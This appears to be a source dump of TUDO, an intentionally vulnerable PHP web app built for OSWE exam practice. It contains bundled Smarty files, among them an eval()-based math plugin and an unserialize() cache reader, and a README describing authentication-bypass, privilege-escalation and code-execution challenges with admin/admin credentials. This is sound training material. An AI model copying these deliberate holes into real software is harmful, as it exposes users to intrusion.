| 78 | case 'sticky': 79 | case 'left': 80 | case 'right': 81 | case 'center': 82 | case 'above': 83 | case 'below': 84 | case 'noclose': 85 | case 'autostatus': 86 | case 'autostatuscap': 87 | case 'fullhtml': 88 | case 'hauto': 89 | case 'vauto': 90 | case 'mouseoff': 91 | case 'followmouse': 92 | case 'closeclick': 93 | if ($_value) $append .= ',' . strtoupper($_key); 94 | break; 95 | 96 | default: 97 | $smarty->trigger_error("[popup] unknown parameter $_key", E_USER_WARNING); 98 | } 99 | } 100 | 101 | if (empty($text) && !isset($inarray) && empty($function)) { 102 | $smarty->trigger_error("overlib: attribute 'text' or 'inarray' or 'function' required"); 103 | return false; 104 | } 105 | 106 | if (empty($trigger)) { $trigger = "onmouseover"; } 107 | 108 | $retval = $trigger . '="return overlib(\''.preg_replace(array("!'!","![\r\n]!"),array("\'",'\r'),$text).'\''; 109 | $retval .= $append . ');"'; 110 | if ($trigger == 'onmouseover') 111 | $retval .= ' onmouseout="nd();"'; 112 | 113 | 114 | return $retval; 115 | } 116 | 117 | /* vim: set expandtab: */ 118 | 119 | ?> 120 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/internals/core.write_cache_file.php: -------------------------------------------------------------------------------- 1 | _cache_info['timestamp'] = time(); 26 | if ($smarty->cache_lifetime > -1){ 27 | // expiration set 28 | $smarty->_cache_info['expires'] = $smarty->_cache_info['timestamp'] + $smarty->cache_lifetime; 29 | } else { 30 | // cache will never expire 31 | $smarty->_cache_info['expires'] = -1; 32 | } 33 | 34 | // collapse nocache.../nocache-tags 35 | if (preg_match_all('!\{(/?)nocache\:[0-9a-f]{32}#\d+\}!', $params['results'], $match, PREG_PATTERN_ORDER)) { 36 | // remove everything between every pair of outermost noache.../nocache-tags 37 | // and replace it by a single nocache-tag 38 | // this new nocache-tag will be replaced by dynamic contents in 39 | // smarty_core_process_compiled_includes() on a cache-read 40 | 41 | $match_count = count($match[0]); 42 | $results = preg_split('!(\{/?nocache\:[0-9a-f]{32}#\d+\})!', $params['results'], -1, PREG_SPLIT_DELIM_CAPTURE); 43 | 44 | $level = 0; 45 | $j = 0; 46 | for ($i=0, $results_count = count($results); $i < $results_count && $j < $match_count; $i++) { 47 | if ($results[$i] == $match[0][$j]) { 48 | // nocache tag 49 | if ($match[1][$j]) { // closing tag 50 | $level--; 51 | unset($results[$i]); 52 | } else { // opening tag 53 | if ($level++ > 0) unset($results[$i]); 54 | } 55 | $j++; 56 | } elseif ($level > 0) { 57 | unset($results[$i]); 58 | } 59 | } 60 | $params['results'] = implode('', $results); 61 | } 62 | $smarty->_cache_info['cache_serials'] = $smarty->_cache_serials; 63 | 64 | // prepend the cache header info into cache file 65 | $_cache_info = serialize($smarty->_cache_info); 66 | $params['results'] = strlen($_cache_info) . "\n" . $_cache_info . $params['results']; 67 | 68 | if (!empty($smarty->cache_handler_func)) { 69 | // use cache_handler function 70 | call_user_func_array($smarty->cache_handler_func, 71 | array('write', &$smarty, &$params['results'], $params['tpl_file'], $params['cache_id'], $params['compile_id'], $smarty->_cache_info['expires'])); 72 | } else { 73 | // use local cache file 74 | 75 | if(!@is_writable($smarty->cache_dir)) { 76 | // cache_dir not writable, see if it exists 77 | if(!@is_dir($smarty->cache_dir)) { 78 | $smarty->trigger_error('the $cache_dir \'' . $smarty->cache_dir . '\' does not exist, or is not a directory.', E_USER_ERROR); 79 | return false; 80 | } 81 | $smarty->trigger_error('unable to write to $cache_dir \'' . realpath($smarty->cache_dir) . '\'. Be sure $cache_dir is writable by the web server user.', E_USER_ERROR); 82 | return false; 83 | } 84 | 85 | $_auto_id = $smarty->_get_auto_id($params['cache_id'], $params['compile_id']); 86 | $_cache_file = $smarty->_get_auto_filename($smarty->cache_dir, $params['tpl_file'], $_auto_id); 87 | $_params = array('filename' => $_cache_file, 'contents' => $params['results'], 'create_dirs' => true); 88 | require_once(SMARTY_CORE_DIR . 'core.write_file.php'); 89 | smarty_core_write_file($_params, $smarty); 90 | return true; 91 | } 92 | } 93 | 94 | /* vim: set expandtab: */ 95 | 96 | ?> 97 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/function.math.php: -------------------------------------------------------------------------------- 1 | 13 | * Name: math
14 | * Purpose: handle math computations in template 15 | * 16 | * @link http://www.smarty.net/manual/en/language.function.math.php {math} 17 | * (Smarty online manual) 18 | * @author Monte Ohrt 19 | * 20 | * @param array $params parameters 21 | * @param Smarty 22 | * 23 | * @return string|null 24 | */ 25 | function smarty_function_math($params, &$smarty) 26 | { 27 | static $_allowed_funcs = 28 | array('int' => true, 'abs' => true, 'ceil' => true, 'cos' => true, 'exp' => true, 'floor' => true, 29 | 'log' => true, 'log10' => true, 'max' => true, 'min' => true, 'pi' => true, 'pow' => true, 'rand' => true, 30 | 'round' => true, 'sin' => true, 'sqrt' => true, 'srand' => true, 'tan' => true); 31 | // be sure equation parameter is present 32 | if (empty($params[ 'equation' ])) { 33 | trigger_error("math: missing equation parameter", E_USER_WARNING); 34 | 35 | return; 36 | } 37 | 38 | $equation = $params[ 'equation' ]; 39 | 40 | // make sure parenthesis are balanced 41 | if (substr_count($equation, "(") != substr_count($equation, ")")) { 42 | trigger_error("math: unbalanced parenthesis", E_USER_WARNING); 43 | 44 | return; 45 | } 46 | 47 | // disallow backticks 48 | if (strpos($equation, '`') !== false) { 49 | trigger_error("math: backtick character not allowed in equation", E_USER_WARNING); 50 | 51 | return; 52 | } 53 | 54 | // also disallow dollar signs 55 | if (strpos($equation, '$') !== false) { 56 | trigger_error("math: dollar signs not allowed in equation", E_USER_WARNING); 57 | 58 | return; 59 | } 60 | 61 | foreach ($params as $key => $val) { 62 | if ($key != "equation" && $key != "format" && $key != "assign") { 63 | // make sure value is not empty 64 | if (strlen($val) == 0) { 65 | trigger_error("math: parameter '{$key}' is empty", E_USER_WARNING); 66 | 67 | return; 68 | } 69 | if (!is_numeric($val)) { 70 | trigger_error("math: parameter '{$key}' is not numeric", E_USER_WARNING); 71 | 72 | return; 73 | } 74 | } 75 | } 76 | 77 | // match all vars in equation, make sure all are passed 78 | preg_match_all('!(?:0x[a-fA-F0-9]+)|([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)!', $equation, $match); 79 | 80 | foreach ($match[ 1 ] as $curr_var) { 81 | if ($curr_var && !isset($params[ $curr_var ]) && !isset($_allowed_funcs[ $curr_var ])) { 82 | trigger_error("math: function call '{$curr_var}' not allowed, or missing parameter '{$curr_var}'", E_USER_WARNING); 83 | 84 | return; 85 | } 86 | } 87 | 88 | foreach ($params as $key => $val) { 89 | if ($key != "equation" && $key != "format" && $key != "assign") { 90 | $equation = preg_replace("/\b$key\b/", " \$params['$key'] ", $equation); 91 | } 92 | } 93 | $smarty_math_result = null; 94 | eval("\$smarty_math_result = " . $equation . ";"); 95 | 96 | if (empty($params[ 'format' ])) { 97 | if (empty($params[ 'assign' ])) { 98 | return $smarty_math_result; 99 | } else { 100 | $smarty->assign($params[ 'assign' ], $smarty_math_result); 101 | } 102 | } else { 103 | if (empty($params[ 'assign' ])) { 104 | printf($params[ 'format' ], $smarty_math_result); 105 | } else { 106 | $smarty->assign($params[ 'assign' ], sprintf($params[ 'format' ], $smarty_math_result)); 107 | } 108 | } 109 | } 110 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/internals/core.read_cache_file.php: -------------------------------------------------------------------------------- 1 | force_compile) { 26 | // force compile enabled, always regenerate 27 | return false; 28 | } 29 | 30 | if (isset($content_cache[$params['tpl_file'].','.$params['cache_id'].','.$params['compile_id']])) { 31 | list($params['results'], $smarty->_cache_info) = $content_cache[$params['tpl_file'].','.$params['cache_id'].','.$params['compile_id']]; 32 | return true; 33 | } 34 | 35 | if (!empty($smarty->cache_handler_func)) { 36 | // use cache_handler function 37 | call_user_func_array($smarty->cache_handler_func, 38 | array('read', &$smarty, &$params['results'], $params['tpl_file'], $params['cache_id'], $params['compile_id'], null)); 39 | } else { 40 | // use local cache file 41 | $_auto_id = $smarty->_get_auto_id($params['cache_id'], $params['compile_id']); 42 | $_cache_file = $smarty->_get_auto_filename($smarty->cache_dir, $params['tpl_file'], $_auto_id); 43 | $params['results'] = $smarty->_read_file($_cache_file); 44 | } 45 | 46 | if (empty($params['results'])) { 47 | // nothing to parse (error?), regenerate cache 48 | return false; 49 | } 50 | 51 | $_contents = $params['results']; 52 | $_info_start = strpos($_contents, "\n") + 1; 53 | $_info_len = (int)substr($_contents, 0, $_info_start - 1); 54 | $_cache_info = unserialize(substr($_contents, $_info_start, $_info_len)); 55 | $params['results'] = substr($_contents, $_info_start + $_info_len); 56 | 57 | if ($smarty->caching == 2 && isset ($_cache_info['expires'])){ 58 | // caching by expiration time 59 | if ($_cache_info['expires'] > -1 && (time() > $_cache_info['expires'])) { 60 | // cache expired, regenerate 61 | return false; 62 | } 63 | } else { 64 | // caching by lifetime 65 | if ($smarty->cache_lifetime > -1 && (time() - $_cache_info['timestamp'] > $smarty->cache_lifetime)) { 66 | // cache expired, regenerate 67 | return false; 68 | } 69 | } 70 | 71 | if ($smarty->compile_check) { 72 | $_params = array('get_source' => false, 'quiet'=>true); 73 | foreach (array_keys($_cache_info['template']) as $_template_dep) { 74 | $_params['resource_name'] = $_template_dep; 75 | if (!$smarty->_fetch_resource_info($_params) || $_cache_info['timestamp'] < $_params['resource_timestamp']) { 76 | // template file has changed, regenerate cache 77 | return false; 78 | } 79 | } 80 | 81 | if (isset($_cache_info['config'])) { 82 | $_params = array('resource_base_path' => $smarty->config_dir, 'get_source' => false, 'quiet'=>true); 83 | foreach (array_keys($_cache_info['config']) as $_config_dep) { 84 | $_params['resource_name'] = $_config_dep; 85 | if (!$smarty->_fetch_resource_info($_params) || $_cache_info['timestamp'] < $_params['resource_timestamp']) { 86 | // config file has changed, regenerate cache 87 | return false; 88 | } 89 | } 90 | } 91 | } 92 | 93 | $content_cache[$params['tpl_file'].','.$params['cache_id'].','.$params['compile_id']] = array($params['results'], $_cache_info); 94 | 95 | $smarty->_cache_info = $_cache_info; 96 | return true; 97 | } 98 | 99 | /* vim: set expandtab: */ 100 | 101 | ?> 102 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![](app/favicon.ico) 2 | 3 | # TUDO — A Vulnerable PHP Web App 4 | 5 | ## Introduction 6 | 7 | **TUDO** is an intentionally vulnerable web application that may be used to prepare for the **OSWE/AWAE** certification exam. Originally created in **March 2021**, many aspects of the challenge stopped working as the years went by, and so a major update was released in **December 2025** to address these. Everything works now, guaranteed! 8 | 9 | ## Challenge 10 | 11 | There are **three steps** to complete the challenge, and multiple ways 12 | to complete each step. 13 | 14 | - **Authentication bypass:** Gain access to either `user1` or `user2`'s account (two possible ways). 15 | - **Privilege escalation:** Gain access to the `admin` account (one possible way). 16 | - **Remote code execution:** Find a way to remotely execute arbitrary commands (five possible ways – three of which were originally intended). 17 | 18 | To make the most of **TUDO**, it is recommended to try and find all eight vulnerabilities, and to create a python script which chains three steps for a complete POC (_Hint: this is what they will require you to do on the exam_). 19 | 20 | This challenge is intended to be treated like a **white-box penetration test**, so fire up [VS Code](https://github.com/microsoft/vscode), and read. 21 | 22 | _Note: There is a cronjob emulating certain admin activity every minute._ 23 | 24 | _Note: To avoid spoilers, do not look inside the `docker` and `solutions` folders!_ 25 | 26 | ## Credentials 27 | 28 | You are provided with credentials for two standard users, as well as the administrator. _Remember, there are two possible authentication bypasses, so knowing these credentials is not necessary to "solve" TUDO. It does help to know which users exist though._ 29 | 30 | | Type | Username | Password | 31 | |---------------|----------|----------| 32 | | Standard user | user1 | user1 | 33 | | Standard user | user2 | user2 | 34 | | Administrator | admin | admin | 35 | 36 | ## How to begin? 37 | 38 | Clone the repository, and use [Docker Compose](https://docs.docker.com/compose/install/linux/) to launch the challenge: 39 | 40 | ```console 41 | $ git clone https://github.com/bmdyy/tudo.git 42 | $ cd tudo 43 | $ docker compose up -d 44 | ``` 45 | 46 | The target will be accessible at [http://localhost:8000](http://localhost:8000). 47 | 48 | ![](./screenshots/login.png) 49 | 50 | To stop the challenge, run: 51 | 52 | ```console 53 | $ docker compose down 54 | ``` 55 | 56 | If you need to reset the challenge, run this while the containers are down: 57 | 58 | ```console 59 | $ docker system prune -f 60 | ``` 61 | 62 | _Good luck!_ 63 | 64 | ### PHP remote debugging 65 | 66 | The challenge is already set up for remote debugging using [Xdebug](https://xdebug.org/) and [VS Code](https://code.visualstudio.com/). Assuming you opened the **root folder** in Code and not **app**, simply hit `[F5]` to start debugging. 67 | 68 | ![](screenshots/debugging.png) 69 | 70 | _Note: If for some reason your host machine's Docker IP is **not** `172.17.0.1`, make sure to update `hostname` in `.vscode/launch.json`_ 71 | 72 | ### Viewing PostgreSQL query log 73 | 74 | All PgSQL queries are automatically written to the database container's log file. To view it, run the following command: 75 | 76 | ```console 77 | $ docker logs -f tudo-db 78 | ``` 79 | 80 | ### Interacting with the database 81 | 82 | You can interact with the PostgreSQL database via `psql` with the following command: 83 | 84 | ```console 85 | $ docker exec -it tudo-db psql -U postgres tudo 86 | psql (18.1 (Debian 18.1-1.pgdg13+2)) 87 | Type "help" for help. 88 | 89 | tudo=# \dt 90 | List of tables 91 | Schema | Name | Type | Owner 92 | --------+-------------+-------+---------- 93 | public | class_posts | table | postgres 94 | public | motd_images | table | postgres 95 | public | tokens | table | postgres 96 | public | users | table | postgres 97 | (4 rows) 98 | ``` 99 | 100 | ## Solutions 101 | 102 | There are POCs and explanations for all the various ways to solve **TUDO** in [solutions](solutions/). 103 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/debug.tpl: -------------------------------------------------------------------------------- 1 | {* Smarty *} 2 | {* debug.tpl, last updated version 2.1.0 *} 3 | {assign_debug_info} 4 | {capture assign=debug_output} 5 | 6 | 7 | 8 | Smarty Debug Console 9 | {literal} 10 | 90 | {/literal} 91 | 92 | 93 | 94 |

Smarty Debug Console

95 | 96 |

included templates & config files (load time in seconds)

97 | 98 |
99 | {section name=templates loop=$_debug_tpls} 100 | {section name=indent loop=$_debug_tpls[templates].depth}   {/section} 101 | 102 | {$_debug_tpls[templates].filename|escape:html} 103 | {if isset($_debug_tpls[templates].exec_time)} 104 | 105 | ({$_debug_tpls[templates].exec_time|string_format:"%.5f"}) 106 | {if %templates.index% eq 0}(total){/if} 107 | 108 | {/if} 109 |
110 | {sectionelse} 111 |

no templates included

112 | {/section} 113 |
114 | 115 |

assigned template variables

116 | 117 | 118 | {section name=vars loop=$_debug_keys} 119 | 120 | 121 | 122 | {sectionelse} 123 | 124 | {/section} 125 |
{ldelim}${$_debug_keys[vars]|escape:'html'}{rdelim}{$_debug_vals[vars]|@debug_print_var}

no template variables assigned

126 | 127 |

assigned config file variables (outer template scope)

128 | 129 | 130 | {section name=config_vars loop=$_debug_config_keys} 131 | 132 | 133 | 134 | {sectionelse} 135 | 136 | {/section} 137 |
{ldelim}#{$_debug_config_keys[config_vars]|escape:'html'}#{rdelim}{$_debug_config_vals[config_vars]|@debug_print_var}

no config vars assigned

138 | 139 | 140 | {/capture} 141 | {if isset($_smarty_debug_output) and $_smarty_debug_output eq "html"} 142 | {$debug_output} 143 | {else} 144 | 157 | {/if} -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/function.html_options.php: -------------------------------------------------------------------------------- 1 | 13 | * Name: html_options
14 | * Input:
15 | * - name (optional) - string default "select" 16 | * - values (required if no options supplied) - array 17 | * - options (required if no values supplied) - associative array 18 | * - selected (optional) - string default not set 19 | * - output (required if not options supplied) - array 20 | * Purpose: Prints the list of